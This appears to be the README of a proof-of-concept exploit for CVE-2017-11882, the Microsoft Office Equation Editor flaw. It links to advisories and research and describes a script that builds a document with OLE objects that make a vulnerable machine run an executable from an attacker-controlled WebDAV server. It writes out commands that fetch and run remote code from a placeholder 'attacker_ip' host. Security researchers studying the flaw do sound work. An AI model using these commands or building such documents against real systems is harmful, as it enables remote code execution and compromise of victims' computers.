CVE-2017-11882:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882 Research:https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Patch analysis:https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html DEMO PoC exploitation:https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410 A simple PoC for CVE-2017-11882.This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server.The reason why this approach might be handy is a limitation of executed command length.However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine.This script creates simple document with several OLE objects.These objects exploits CVE-2017-11882, which results in sequential command execution. The first command which triggers WebClient service start may look like this:
cmd.exe /c start \\attacker_ip\ff
\\attacker_ip\ff\1.exe
Usage example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
example